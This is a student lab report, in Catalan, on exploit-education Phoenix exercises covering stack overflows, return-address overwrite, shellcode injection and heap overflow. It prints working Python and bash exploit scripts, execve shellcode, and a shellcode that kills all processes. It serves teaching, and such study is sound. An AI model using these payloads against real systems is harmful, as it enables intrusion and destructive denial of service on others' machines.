UNIVERSITAT DE BARCELONA

Sistemes Operatius II

PRÀCTICA 2: Principis de Ciberseguretat

Alumnes:

Javier González Béjar
Alejandro Guzmán Requena

NIUBs:

20329750
20392610

ÍNDEX

Introducció

La Ciberseguretat és un dels aspectes tecnològics més importants en l'actualitat quan parlem d'empreses. Notícies sobre fugides de dades, atacs informàtics i vulnerabilitats són freqüents, atès que la tecnologia ha fet un creixement exponencial en els últims anys, i és que no es pot entendre la nostra vida sense aquesta.
Els programes compilats a arxius executables binaris poden tenir errors o buits que poden ser aprofitats per altres persones i programes, per tal de modificar-ne el comportament, i que això desencadeni en problemes de control no desitjats.
En aquesta pràctica doncs, ens endinsarem en algunes tècniques bàsiques que permeten la corrupció d'arxius a partir de la modificació de les seves adreces de memòria.

1. Stack Overflow

1.1. Sobre-escriptura de la direcció de retorn

En el primer exercici se'ns presenta un codi el qual hem d'executar sense opcions d'optimització afegint - O0 en la línia de la comanda del compilador. A l'executar el programa ens donem compte que modificant el valor d'una variable es poden modificar valors d'altres variables.

Pregunta: Com és que s'ha pogut modificar el valor de la variable b sobreescrivint el valor d'a[-1]? Com s'emmagatzemen les variables a la pila perquè això pugui succeir?

El valor de la variable b està adreçat a una direcció de memòria determinada, llavors la següent direcció està adreçada al primer element de la pila, llavors si assignem un valor a a[-1], aquest retorna l'adreça on es situa el contingut de la variable b, per tant s'accedeix indirectament a la variable b i es conseqüentment es canvia el seu valor.

Si executem la funció donada i introduïm una cadena de mida menor a 64 bytes el programa s'executa amb normalitat.

```
oslab:~/Documents/P2-Ciberseguritat/codi> ./stack4
Welcome to phoenix/stack-four, brought to you by https://exploit.education
hola
and will be returning to 0x400673
oslab:~/Documents/P2-Ciberseguritat/codi>
```

Il·lustració 1: Execució del codi stack4

```
oslab:~/Documents/P2-Ciberseguritat/codi> python stack4_exploit.py | ./stack4
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x11223344
Segmentation fault (core dumped)
oslab:~/Documents/P2-Ciberseguritat/codi>
```

Il·lustració 2: Execució del codi stack4.c amb stack4_exploit.py

Per canviar la direcció de retorn modifiquem l'exploit de Python proporcionat de manera que introduïm la suficient informació per produir un stack overflow i a continuació introduir la direcció de la funció que volem cridar enlloc de la que es cridarà.
La informació és bàsicament l'adreça de la funció que volem cridar, aquesta la obtenim amb la comanda readelf -s stack4 | grep complete_level, l'output de la qual és el següent:

```
oslab:~/Documents/P2-Ciberseguritat/codi> readelf -s stack4 | grep complete_level
    65: 00000000004005e7    24 FUNC    GLOBAL DEFAULT   14 complete_level
oslab:~/Documents/P2-Ciberseguritat/codi>
```

Il·lustració 3: Comanda readelf -s stack4 | grep complete_level

Pregunta: Quina és la direcció de retorn que us ha aparegut a vosaltres? Com heu modificat l'exploit de Python per modificar la direcció de retorn?

En executar el codi ens ha aparegut la direcció de memòria 0x11223344 en l'exploit sense modificar, la qual no correspon a cap funció del nostre codi. Per modificar el codi hem utilitzat la funció readelf per trobar l'adreça de memòria de complete_level (00000000004005e7) i l'hem posada invertida (70540) al fitxer stack4_python_exploit.py. L'exploit de Python modificat es troba a continuació:

```
LLETRA_A = "\x41"
exploit = LLETRA_A * 64 # for the buffer
exploit += LLETRA_A * 8 # additional data
exploit += LLETRA_A * 8 # additional data
exploit += LLETRA_A * 8 # for the rbp
exploit += "\xe7\x05\x40\x00\x00\x00\x00\x00" # Return adress
print exploit
```

A l'execució es pot veure que s'ha cridat a la funció la direcció de la qual s'introdueix en l'exploit (complete_level). I finalment la crida de la funció amb l'exploit modificat és la següent.

```
oslab:~/Documents/P2-Ciberseguritat/codi> python stack4_exploit.py | ./stack4
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x4005e7
Congratulations, you've finished phoenix/stack-four :-) Well done!
oslab:~/Documents/P2-Ciberseguritat/codi>
```

Il·lustració 4: Execució del codi stack4.c amb el fitxer stack4_exploit.py modificat

1.2. Injecció de codi

Pregunta: En aquest exemple particular, on ha d'apuntar la direcció de retorn per poder executar codi arbitrari?

La direcció de retorn ha d'apuntar al buffer prèviament creat per executar codi arbitrari, ja que començarà a llegir el codi que hem injectat al buffer.

En aquest codi se'ns demana executar-ho sense afegir cap cadena i, mentre s'està executant el procés, veure un esquema de com està administrada la pila del procés, per tant trobem el pid del procés en qüestió amb ajuda de la comanda top i executem cat /proc/4258/maps, l'output és el següent.

```
oslab:~> cat /proc/<4258>/maps
bash: syntax error near unexpected token `4258'
oslab:~> cat /proc/4258/maps
00400000-00401000 r-xp 00000000 08:02 27397435                           /home/oslab/Documents/P2-Ciberseguritat/codi/stack5
00600000-00601000 r--p 00000000 08:02 27397435                           /home/oslab/Documents/P2-Ciberseguritat/codi/stack5
00601000-00602000 rw-p 00001000 08:02 27397435                           /home/oslab/Documents/P2-Ciberseguritat/codi/stack5
02005000-02026000 rw-p 00000000 00:00 0                                  [heap]
7feb37853000-7feb37a1e000 r-xp 00000000 08:02 7762                       /lib64/libc-2.31.so
7feb37a1e000-7feb37c1e000 ---p 001cb000 08:02 7762                       /lib64/libc-2.31.so
7feb37c1e000-7feb37c21000 r--p 001cb000 08:02 7762                       /lib64/libc-2.31.so
7feb37c21000-7feb37c24000 rw-p 001ce000 08:02 7762                       /lib64/libc-2.31.so
7feb37c24000-7feb37c28000 rw-p 00000000 00:00 0
7feb37c28000-7feb37c50000 r-xp 00000000 08:02 7754                       /lib64/ld-2.31.so
7feb37e36000-7feb37e38000 rw-p 00000000 00:00 0
7feb37e50000-7feb37e51000 r--p 00028000 08:02 7754                       /lib64/ld-2.31.so
7feb37e51000-7feb37e52000 rw-p 00029000 08:02 7754                       /lib64/ld-2.31.so
7feb37e52000-7feb37e53000 rw-p 00000000 00:00 0
7ffc1b752000-7ffc1b773000 rw-p 00000000 00:00 0                          [stack]
7ffc1b7f2000-7ffc1b7f6000 r--p 00000000 00:00 0                          [vvar]
7ffc1b7f6000-7ffc1b7f8000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0                  [vsyscall]
```

Il·lustració 5: Output de la comanda cat /proc/4258/maps

Pregunta: Què és el que observeu en executar diverses vegades la mateixa aplicació? On es mapen la pila així com les llibreries dinàmiques que es carreguen en executar-se l'aplicació?

En executar diverses vegades la mateixa aplicació les adreçes on es mapejen els diversos components canvien, però sempre mantenint el mateix ordre: heap, llibreries dinàmiques, stack i finalment vvar, vdso, vsyscall. Tot i així la distància pot variar entre el buffer i el final de l'stack.

Pregunta: Es podrà executar codi màquina emmagatzemat a un buffer de la pila? Per què? A partir del mapa de la pila, quines conclusions podeu treure?

No es podrà executar codi màquina emmagatzemat a un buffer de la pila degut a que aquest no té permisos d'execució. A partir del mapa de la pila podem extreure diverses conclusions: primer que les adreces com hem observat no sempre són les mateixes per als diversos components, a part els components estan junts des del punt de vista de les adreces, on s'acaba de mapejar un, comença l'altre, finalment observem que la pila no té permisos d'execució, per tant qualsevol codi que es trobi dins no serà executable.

Pregunta: A partir dels experiments anteriors, veieu factible ("senzill") fer la injecció de codi proposada? Raoneu la resposta.

No és factible fer la injecció de codi proposada ja que com hem explicat, la posició del buffer a la pila és aleatòria i la pila no té permisos d'execució, per tant no es podrà executar el codi injectat dins d'aquesta.

Pregunta: Què és el que fa l'opció "-R" de la comanda? Per a què ens serà útil per fer la injecció de codi al buffer?

L'opció "-R" fa que les adreces virtuals deixen ser randomitzades sent consistent en totes les execucions. Això facilita la injecció de codi al buffer ja que sabrem exactament quants bytes tenim de treball i quants bytes n'hi han fins a la adreça de retorn.
Ara ja podrem canviar en l'exploit de Python proporcionat la direcció de retorn com la direcció fixa del buffer que es crea durant l'execució del programa. Per tant modifiquem l'exploit de la forma següent:

```
NOP = "\x90"
exploit = "\x48\x31\xd2\x48\xbb\xff\x2f\x62" \
" \x69\x6e\x2f\x6c\x73\x48\xc1\xeb" \
" \x08\x53\x48\x89\xe7\x48\x31\xc0" \
" \x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
exploit += NOP * (128 - len (exploit))
exploit += NOP * 8 # additional data
exploit += NOP * 8 # additional data
exploit += NOP * 8 # rbp
exploit += "\x60\xdd\xff\xff\xff\x7f\x00\x00 " # Return address
print exploit
```

I l'execució de la comanda python stack5_exploit.py | ./stack5 després de la modificació de l'exploit és:

```
oslab:~/Documents/P2-Ciberseguritat/codi> python stack5_exploit.py | ./stack5
Welcome to phoenix/stack-five, brought to you by https://exploit.education
Buffer address: 0x7fffffffdd60
and will be returning to 0x7fffffffdd60
heapone.c                   stack4             stack5.c
heapone_exploit.sh          stack4.c           stack5_exploit.py
pila_modificacio_variable   stack4_exploit.py  stack5_exploit_surprise.py
pila_modificacio_variable.c stack5
```

Il·lustració 6: Execució del programa stack5 amb l'exploit de Python

Pregunta: Què fa la injecció del codi que hem introduït?

La injecció de codi que hem introduït efectua un ls dins del directori on s'ha executat el programa.

Pregunta (Díficil): Quins bytes del codi injectat indiquen la instrucció a executar? Per tal de respondre a la pregunta, se us recomana revisar el codi assemblador associat a l'exercici així com fer servir un editor hexadecimal (per exemple, ghex o okteta) i veure en quins bytes s'emmagatzema la instrucció a executar. En respondre a la pregunta, comenteu el que heu trobat. Quina instrucció assemblador és la que conté el codi a executar?

Machine Language	Opcodes	Affected Registers
48 31 d2	xor	rdx,rdx
48 bb ff 2f 62 69 6e 2f 6c 73	movabs	rbx,0x736c2f6e69622fff
48 c1 eb 08	shr	rbx,0x8
53	push	rbx
48 89 e7	mov	rdi,rsp
48 31 c0	xor	rax,rax
50	push	rax
57	push	rdi
48 89 e6	mov	rsi,rsp
b0 3b	mov	al,0x3b
0f 05	syscall	N/A

L'immediat de la instrucció en vermell conté la direcció executable (bin/ls) i la darrera instrucció en blau crida al execev amb l'environment i els arguments per executar l'ls. Hem reensamblat el codi per saber que immediats i instruccions son cadascun dels bytes. Aquest shellcode executa la comanda execve(3) per executar una adreça (bin/ls), en aquest cas per mostrar els arxius.

Exercici (Difícil): Modifiqueu el codi injectat perquè executi una altra instrucció (de dues lletres com, per exemple, "/bin/ps" o "/bin/df") i comproveu que funciona. Com heu modificat el codi injectat? Quins bytes heu modificat?

```
NOP = "\x90"
exploit = "\x48\x31\xd2\x48\xbb\xff\x2f\x62" \
" \x69\x6e\x2f\x64\x66\x48\xc1\xeb" \
" \x08\x53\x48\x89\xe7\x48\x31\xc0" \
" \x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05 "
exploit += NOP * (128 - len(exploit))
exploit += NOP * 8 # additional data
exploit += NOP * 8 # additional data
exploit += NOP * 8 # rbp
exploit += " \xb0\xdd\xff\xff\xff\x7f\x00\x00 " # Return address
print exploit
```

Vam canviar els bytes \x64\x66 que es correspon a la comanda df en ASCII, aquests bytes són del immediat 0x736c2f6e69622fff (que traduït a ASCII és "/bin/ls") i canviant-lo a 0x66642f6e69622fff es converteix a "/bin/df". Finalment se'ns presenta un codi sorpresa i se'ns demana que modifiquem la direcció de retorn perquè apunti a la direcció on s'emmagatzemarà el codi injectat.

Pregunta: Què ha fet el codi?

El shellcode **\x6a\x3e\x58\x6a\xff\x5f\x6a\x09\x5e\x0f\x05** mata tots els processos de la màquina virtual.

2. Heap overflow

2.1. Sobre-escriptura de la posició de retorn

Pregunta: Quin és el valor que s'haurà d'assignar a a i2->name? Com aconseguiu obtenir aquest valor? Detalleu la resposta.

El valor que s'ha d'assignar a i2->name és el de la direcció on es guarda l'adreça de retorn de la funció (0x7fffffffddd8). Per tal d'aconseguir aquest valor hem executat l'script heapone després d'haver deshabilitat la randomització d'adreces virtuals (paràmetre -R emprat anteriorment), de manera que trobàvem que la direcció de retorn 0x4007e5 es guarda a la pila a la posició que hem esmentat: 0x7fffffffddd8.

```
A la direccio de la pila 0x7fffffffddd8 emmagatzema el valor: 0x4007e5
A la direccio de la pila 0x7fffffffdde0 emmagatzema el valor: 0x7fffffffdee8
Original return address: 0x4007e5
A i2->name s'emmagatzema el valor 0x602710
```

Il·lustració 7: Adreça de retorn de la funció i mapeig a la pila

Pregunta: Quin és el contingut que s'haurà d'escriure a i2->name? Com aconseguiu obtenir aquest valor? Detalleu la resposta.
A i2->name s'haurà d'escriure la direcció de la funció winner() de l'script (0x400637), per tal que s'executi. Per a trobar-la podem emprar la comanda que se'ns ha explicat anteriorment:
`readelf -s heapone | grep winner`

```
oslab:~/Desktop/P2-Ciberseguritat/codi> readelf -s heapone | grep winner
    72: 0000000000400637    24 FUNC    GLOBAL DEFAULT   14 winner
```

Il·lustració 8: Comanda emprada per a conèixer l'adreça de la funció winner()

Pregunta: Fa falta activar el bit perquè la pila pugui contenir codi executable? Raoneu la resposta.

No és necessari l'activació d'aquest bit, ja que únicament s'estan modificant les adreces que son utilitzades des del programa, i per tant no n'estem executant codi màquina.

Pregunta: Com construïu l'script a executar? Quin valor assigneu a A? Quin valor assigneu a B?

Per tal de programar l'exploit a executar, necessitàvem introduir-ne dues direccions de memòria diferents al target script. La primera era la direcció de la pila on es trobés la direcció de retorn de la funció, i per tant, creem la primera cadena a passar A. Per últim, afegíem una altra cadena B on es trobés l'adreça de la funció a la que volíem cridar winner()

A = $(python -c 'print "A" * 40 + "\xd8\xdd\xff\xff\xff\x7f"')
B = $(python -c 'print "\x37\x06\x40"')

```
1  #!/bin/bash
2
3  A=$(python -c 'print "A" * 40 + "\xd8\xdd\xff\xff\xff\x7f"')
4  B=$(python -c 'print "\x37\x06\x40"')
5
6  ./heapone "$A" "$B"
```

```
Original return address: 0x4007e5
A i2->name s'emmagatzema el valor 0x7fffffffddd8
New return address: 0x4007e5
and that's a wrap folks!
```

Il·lustracions 9 i 10: Heapone exploit.sh i resultat de la seva execució

Conclusions

Per a concloure, considerem que és important destacar-ne la importància de les configuracions de les piles dels programes, per tal de reduir vulnerabilitats i les possibilitats de patir atacs amb injeccions de codi. Tot i així, existeixen altres tècniques, com per exemple l'aprofitament de les funcions de la llibreria libc, que consisteixen en modificar-ne les adreces de retorn d'aquestes funcions per tal que executin altres funcions no desitjades.
També se'ns han presentat tècniques d'atacs informàtics basades en l'emmagatzematge dinàmic, és a dir, en una part de la memòria a la qual els programes poden assignar memòria en temps d'execució. A partir del coneixement d'aquestes direccions és possible la seva modificació si aprofitem vulnerabilitats de funcions com strcpy().
Finalment, com a conclusions generals, ens agradaria esmentar que hem trobat la pràctica de gran interès, doncs la ciberseguretat és un dels factors importants a tenir en compta per qualsevol empresa a l'actualitat. En quant a nivell personal, quedem altament satisfets pel nostre treball, tot i que considerem que hi ha certs apartats de la pràctica que no queden explicats en la seva totalitat, com per exemple l'espai que ocupen certes funcions i variables dels scripts a les piles dels programes, quan això s'ha tingut en compte a l'hora de programar els exploits.